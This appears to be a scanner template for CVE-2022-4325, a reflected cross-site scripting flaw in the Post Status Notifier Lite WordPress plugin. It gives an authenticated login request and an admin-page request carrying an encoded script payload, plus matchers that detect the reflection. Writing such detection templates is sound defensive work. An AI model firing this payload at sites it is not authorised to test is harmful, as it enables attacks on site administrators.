id: CVE-2022-4325 info: name: Post Status Notifier Lite < 1.10.1 - Cross Site Scripting author: r3Y3r53 severity: medium description: | The Post Status Notifier Lite WordPress plugin before 1.10.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which can be used against high privilege users such as admin. remediation: Fixed in version 1.10.1 reference: - https://wpscan.com/vulnerability/5b983c48-6b05-47cf-85cb-28bbeec17395 - https://wordpress.org/plugins/post-status-notifier-lite/ - https://nvd.nist.gov/vuln/detail/CVE-2022-4325 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-4325 cwe-id: CWE-79 metadata: verified: "true" tags: wp,wordpress,wpscan,authenticated,cve,cve2022,xss,wp-plugin,post-status-notifier-lite requests: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/options-general.php?page=post-status-notifier-lite&controller=%3Cscript%3Ealert%28%60document.domain%60%29%3C%2Fscript%3E HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(all_headers_2, "text/html")' - 'contains(body_2, "")' - 'contains(body_2, "Post Status Notifier Lite")' condition: and